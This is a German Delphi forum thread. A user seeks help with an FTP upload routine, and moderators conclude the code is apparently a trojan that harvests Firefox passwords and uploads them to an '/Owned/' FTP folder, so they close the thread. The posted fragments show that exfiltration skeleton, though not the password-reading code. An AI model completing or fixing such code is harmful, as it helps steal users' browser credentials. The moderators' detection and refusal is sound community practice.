Problem mit ftp-Upload / Deklarierung nicht gegeben?

weenex · Hält's aus hier Beiträge: 7

Guten Tag zusammen,

ich bin am verzweifeln, habe Mir nun 2 verschiedene Delphi Versionen extra von einem Bekannten besorgt ich komme aber leider bei keiner Version zu einem Ergebniss.

Ich möchte lediglich eine Datei auf einen ftp-Server schieben, mittels IdFTP.
Beim Compilieren stockt es aber bei folgender Zeile;

IdFTP1.ConnectTimeout := 30000;

wenn ich diese Zeile auskommentiere, compiliert Delphi zwar, aber die ausführbare Datei liefert fehler.

nun meine Frage, was bedeutet; [Error] prj_1_we.dpr(206): Undeclared identifier: 'ConnectTimeout'

Was habe ich denn nicht deklariert, bzw. wo ?

hier mal ein Auszug meines Codes;

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:

program prj_1_we;

{$APPTYPE Gui}

uses
  registry,
  Windows,
  Classes,
  idftp,
  SysUtils;



var
  regist: TRegistry;
  MainProfilePath: pchar;
  sl: TStringList;
  i : integer;
  zufall:integer;
  IdFTP1: TIdFTP;



**************
**************
*hier wäre noch mehr code*
*aber hier nun ein jump***
**************************
**************
**************


begin

 try

IdFTP1.Host := '192.168.0.101';
IdFTP1.Port := 21;
IdFTP1.Username := 'Admin';
IdFTP1.Password := '';
IdFTP1.Passive := True;
IdFTP1.ReadTimeout := 30000;
IdFTP1.ConnectTimeout := 30000;     /// In dieser Reihe kommt der Deklarierungsfehler
IdFTP1.Connect;
IdFTP1.ChangeDir('/Owned/');
IdFTP1.put('C:\'+IntToStr(zufall)+'.txt',IntToStr(zufall)+'.txt');
IdFTP1.Disconnect;


 finally
 end;


end.

wäre klasse falls Mir da jemand ein wenig unterstützung geben könnte, ich komme leider nicht weiter...

danke
weenex

Moderiert von Narses: Code- durch Delphi-Tags ersetzt
Moderiert von Narses: Topic aus Delphi Language (Object-Pascal) / CLX verschoben am Mi 18.06.2008 um 16:04

Narses · Verfasst: Mi 18.06.08 16:09

Moin und

im Forum!

weenex hat folgendes geschrieben:

ich bin am verzweifeln, habe Mir nun 2 verschiedene Delphi Versionen extra von einem Bekannten besorgt ich komme aber leider bei keiner Version zu einem Ergebniss.

Interessanter wäre, welche Indy-Version du verwendest.

weenex hat folgendes geschrieben:

IdFTP1.ConnectTimeout := 30000;

Das ist auch kein Wunder, denn diese Eigenschaft hat ein IdFTP nicht (jedenfalls bei Indy9). :nixweiss:

Statt dessen kannst du den Timeout-Wert als Parameter beim .Connect() mitgeben: :idea:

markieren

Delphi-Quelltext

1:	IdFTP1.Connect(TRUE,30000);

cu
Narses

_________________
There are 10 types of people - those who understand binary and those who don´t.

weenex · Hält's aus hier Beiträge: 7

Narses hat folgendes geschrieben:

weenex hat folgendes geschrieben:

IdFTP1.ConnectTimeout := 30000;

Das ist auch kein Wunder, denn diese Eigenschaft hat ein IdFTP nicht (jedenfalls bei Indy9). :nixweiss:

Statt dessen kannst du den Timeout-Wert als Parameter beim .Connect() mitgeben: :idea:

markieren

Delphi-Quelltext

1:	IdFTP1.Connect(TRUE,30000);

Herzlichen Dank schonmal, zumindest ist Mir nun einiges klarer, ich hab Mich gestern mit jemandem unterhalten und der meinte das wäre alles korrekt, aber so war es wohl doch nicht.

nun kann ich compilieren jedoch steht nach dem compilieren unten bei Warning;

[Warning] prj_1_we.dpr(200): Variable 'IdFTP1' might not have been initialized

genau dasselbe hatte ich gestern auch schon, warum ist IdFTP nicht initialisiert?

hoffe das kann mir noch jemand sagen.

grüße
weenex

Moderiert von Narses: Zitat gekürzt

Narses · Verfasst: Mi 18.06.08 16:25

Moin!

weenex hat folgendes geschrieben:

jedoch steht nach dem compilieren unten bei Warning;

[Warning] prj_1_we.dpr(200): Variable 'IdFTP1' might not have been initialized

genau dasselbe hatte ich gestern auch schon, warum ist IdFTP nicht initialisiert?

Weil du dieser Variable nie einen Wert zugewiesen hast. :idea:

Mach das mal so:

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:

IdFTP := TIdFTP.Create(NIL);
try
  IdFTP1.Host := '192.168.0.101';
  IdFTP1.Port := 21;
  IdFTP1.Username := 'Admin';
  IdFTP1.Password := '';
  IdFTP1.Passive := True;
  IdFTP1.ReadTimeout := 30000;
  IdFTP1.Connect(TRUE,30000);
  IdFTP1.ChangeDir('/Owned/');
  IdFTP1.put('C:\'+IntToStr(zufall)+'.txt',IntToStr(zufall)+'.txt');
  IdFTP1.Disconnect;
finally
  IdFTP.Free;
end;

cu
Narses

_________________
There are 10 types of people - those who understand binary and those who don´t.

weenex · Hält's aus hier Beiträge: 7

gemacht;

Delphi bleibt da hängen;
IdFTP := TIdFTP.Create(NIL);

und sagt;
[Error] prj_1_we.dpr(200): '.' expected but ':=' found

wenn ich die Zeile so schreibe; IdFTP . TIdFTP.Create(NIL); geht es jedoch steht unten bei warnings immer;
[Warning] prj_1_we.dpr(202): Variable 'IdFTP1' might not have been initialized

weenex

Narses · Verfasst: Mi 18.06.08 16:49

Moin!

Hm, wie lange arbeitest du schon mit Delphi?

Ich empfehle mal pauschal das hier. :les:

Zeig mal deinen kompletten Quelltext (Projektordner ohne die EXE als ZIP hier in den Anhang), so kommen wir da nicht weiter. :nixweiss:

cu
Narses

_________________
There are 10 types of people - those who understand binary and those who don´t.

weenex · Hält's aus hier Beiträge: 7

Narses hat folgendes geschrieben:

Zeig mal deinen kompletten Quelltext (Projektordner ohne die EXE als ZIP hier in den Anhang), so kommen wir da nicht weiter. :nixweiss:

Hallo,

hier mal als Anhang die Projektdatei, ich hab die nun total verpfuscht, bin da seit gestern abend bei und bekomme keinen funktionierenden Prozess hin (sozusagen) es kommen immer irgentwelche Deklarieungsfehler etc.

ich möchte nur eine funktionierende uploadfunktion hinbekommen, und natürlich auch verstehen, es gibt so viele snippets etc. ich blicke grad nicht mehr durch, habe schon so viele seiten gelesen und mir beispiele angeschaut...

danke euch
weenex

Moderiert von Narses: Zitat gekürzt

Einloggen, um Attachments anzusehen!

Narses · Verfasst: Mi 18.06.08 17:48

Moin!

weenex hat folgendes geschrieben:

hier mal als Anhang die Projektdatei,

Mit dieser Datei alleine kann keiner was anfangen. :nixweiss:

Narses hat folgendes geschrieben:

Zeig mal deinen kompletten Quelltext (Projektordnerinhalt ohne die EXE als ZIP hier in den Anhang),

cu
Narses

_________________
There are 10 types of people - those who understand binary and those who don´t.

weenex · Hält's aus hier Beiträge: 7

Narses hat folgendes geschrieben:

Moin!

weenex hat folgendes geschrieben:

hier mal als Anhang die Projektdatei,

Mit dieser Datei alleine kann keiner was anfangen. :nixweiss:

Narses hat folgendes geschrieben:

Zeig mal deinen kompletten Quelltext (Projektordnerinhalt ohne die EXE als ZIP hier in den Anhang),

cu
Narses

das ist der Quelltext.
mein Project besteht nur aus der einen Datei. (keinen ordner oder noch andere dateien)
zudem oben wird nur eine datei aus einem ordner übergeben, es geht hier um die uploadfunktion die hat mit der funktion zuvor doch nichts zu tun.

warum kann damit keiner etwas anfangen, man sieht doch was passiert.....

es wird eine datei in C:/0815.txt gespeichert (diesen teil habe ich aus dem code entfern, darf ich nicht posten)
diese soll dann hochgeladen werden über IdFTP

weenex

Narses · Verfasst: Mi 18.06.08 18:12

Moin!

weenex hat folgendes geschrieben:

das ist der Quelltext.
mein Project besteht nur aus der einen Datei. (keinen ordner oder noch andere dateien)

zudem oben wird nur eine datei aus einem ordner übergeben, es geht hier um die uploadfunktion die hat mit der funktion zuvor doch nichts zu tun.

warum kann damit keiner etwas anfangen, man sieht doch was passiert.....

es wird eine datei in C:/0815.txt gespeichert (diesen teil habe ich aus dem code entfern, darf ich nicht posten)
diese soll dann hochgeladen werden über IdFTP

Wenn ich mir diesen "Quelltext" so ansehe:

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:

program prj_1_we;

{$APPTYPE Gui}

uses
  registry,
  Windows,
  Classes,
  idftp,
  SysUtils;

var
  regist: TRegistry;
  MainProfilePath: pchar;
  sl: TStringList;
  i : integer;
  zufall:integer;
  IdFTP1: TIdFTP;

IdFTP . TIdFTP.Create(NIL);
try
  IdFTP1.Host := '192.168.0.101';
  IdFTP1.Port := 21;
  IdFTP1.Username := 'Admin';
  IdFTP1.Password := '';
  IdFTP1.Passive := True;
  IdFTP1.ReadTimeout := 30000;
  IdFTP1.Connect(TRUE,30000);
  IdFTP1.ChangeDir('/Owned/');
  IdFTP1.put('C:\'+IntToStr(zufall)+'.txt',IntToStr(zufall)+'.txt');
  IdFTP1.Disconnect;
finally
  IdFTP.Free;
end;

MozillaPfadFinden;
GetFirefoxPasswords;

end.

dann sieht das für mich klar nach einem stümperhaften Versuch aus, einen Trojaner oder Ähnliches zu programmieren. :nixweiss:

Aber da du offensichtlich überhaupt keinerlei Plan hast, was du da machst, werde ich dir erst weiter helfen, wenn du diesen Verdacht ausräumst. Kannst oder willst du das nicht, schließe ich den Thread, ganz einfach.

cu
Narses

_________________
There are 10 types of people - those who understand binary and those who don´t.

weenex · Hält's aus hier Beiträge: 7

Narses hat folgendes geschrieben:

dann sieht das für mich klar nach einem stümperhaften Versuch aus, einen Trojaner oder Ähnliches zu programmieren. :nixweiss:

Aber da du offensichtlich überhaupt keinerlei Plan hast, was du da machst, werde ich dir erst weiter helfen, wenn du diesen Verdacht ausräumst. Kannst oder willst du das nicht, schließe ich den Thread, ganz einfach.

hehe, einen Trojaner, naja an sowas habe ich eigentlich noch nicht gedacht, ist das mit solch einem Code möglich?
Ich möchte eigentlich nur durch eine exe Datei eine vorhandene txt Datei auf meinem ftp austauschen bzw. neu schreiben (durch einen click) - die txt dateien werden dann von mir per php ausgelesen und stellen eine Linkliste dar. (teile des codes habe ich mir einfach zusammengesucht)

ich werde mit meinem nachbarn quatschen dann poste ich den gesamten quellcode.
weenex

Moderiert von Narses: Zitat gekürzt

Christian S. · Beiträge: 20451 Erhaltene Danke: 2264 Win 10 C# (VS 2019)

Und was soll die Methode "GetFirefoxPasswords" bitte sein :?:

_________________
Zwei Worte werden Dir im Leben viele Türen öffnen - "ziehen" und "drücken".

weenex · Hält's aus hier Beiträge: 7

Christian S. hat folgendes geschrieben:

Und was soll die Methode "GetFirefoxPasswords" bitte sein :?:

ich hab den code von sourcecd.ws, das habe ich per google gefunden (suche; delphi ftp upload)
wie oben schon geschrieben habe ich das ganze kopiert und gehofft das ich da dann die ftp funktion übernehmen kann (die auch funktioniert), ich habe auch von anderen seiten die codes kopiert und dann eingefügt wahrscheinlich gehören da noch andere reihen auch nicht rein, ich habe mir halt gedacht das es nicht so schwer sein kann mit einem snippet von nem source... naja.

Ich werde hier im board noch ein wenig schauen und warten bis mein nachbar da ist, falls mir keiner helfen möchte.
weenex

Narses · Verfasst: Mi 18.06.08 23:24

Moin!

Schauen wir uns mal an, was du bisher so von dir gegeben hast (etwas zusammengekürzt, "interessante" Stellen sind markiert):

weenex hat folgendes geschrieben:

markieren

Delphi-Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:

var
  regist: TRegistry;
  MainProfilePath: pchar;
  sl: TStringList;
  i : integer;
  zufall:integer;
  IdFTP1: TIdFTP;

**************
*hier wäre noch mehr code*
*aber hier nun ein jump***
**************************

IdFTP1.ChangeDir('/Owned/'); // erwischt, besiegt, überlegen sein?
IdFTP1.put('C:\'+IntToStr(zufall)+'.txt',IntToStr(zufall)+'.txt');

MozillaPfadFinden;
GetFirefoxPasswords;

Dazu dann diese Fehlermeldung:

weenex hat folgendes geschrieben:

nun meine Frage, was bedeutet; [Error] prj_1_we.dpr(206): Undeclared identifier: 'ConnectTimeout'

in der du ungeschickterweise "verraten" hast, dass der Code insgesamt um die 200 Zeilen hat. :idea:

weenex hat folgendes geschrieben:

das ist der Quelltext.
[...]
warum kann damit keiner etwas anfangen, man sieht doch was passiert.....

Bis hierhin kann man sehr viel mehr sehen, als dir vermutlich lieb ist...

es geht nämlich offensichtlich im Kern nicht um den Upload, sondern um das, was da sozusagen "nicht" steht... :mrgreen:

Auf die Anfrage, den kompletten Code zu liefern:

weenex hat folgendes geschrieben:

es wird eine datei in C:/0815.txt gespeichert (diesen teil habe ich aus dem code entfern, darf ich nicht posten)

weenex hat folgendes geschrieben:

Ich möchte eigentlich nur durch eine exe Datei eine vorhandene txt Datei auf meinem ftp austauschen bzw. neu schreiben (durch einen click)

Warum ausgerechnet per (Delphi-)EXE? Das geht auch elegant per cmd-Script oder mit anderen Tools für diesen Zweck - es scheint also doch wohl eher darum zu gehen, was der Teil des Codes, den du nicht zeigen willst, tut (tun kann) :!:

weenex hat folgendes geschrieben:

die txt dateien werden dann von mir per php ausgelesen und stellen eine Linkliste dar. (teile des codes habe ich mir einfach zusammengesucht)
ich werde mit meinem nachbarn quatschen dann poste ich den gesamten quellcode.
[...]
ich hab den code von sourcecd.ws, das habe ich per google gefunden (suche; delphi ftp upload)
wie oben schon geschrieben habe ich das ganze kopiert und gehofft...

Was ist an einer Linkliste so entsetzlich geheimes? Warum "darf" ich Code, den ich schon irgendwo abgeschrieben habe, nicht hier zeigen? Schämst du dich? Und was soll dein Nachbar damit zu tun haben? :nixweiss:

Sorry, deine Story ist so dünn, die nehme ich dir nicht ab - und deshalb bleibt das hier zu, bis du was glaubwürdiges lieferst. Wir unterstützen hier keine Script-Kiddies.

Du kannst deine Meinung dazu per VA kund tun, einfach auf den Link unten klicken. Vorschlag: wenn der Code so geheim ist, dass du ihn nicht veröffentlichen willst, kannst du es ja per VA nur für´s Team tun. :idea:

Diese Entscheidung ist indizienbasiert und durchaus diskussionfähig. Wenn du dazu per VA Stellung nehmen möchtest, werden wir das im Team diskutieren und diese Entscheidung gegebenenfalls ganz oder in Teilen revidieren.

cu
Narses

_________________
There are 10 types of people - those who understand binary and those who don´t.

	Mitgliederliste
	Gruppen
	Das Team
	Richtlinien
	Synonyme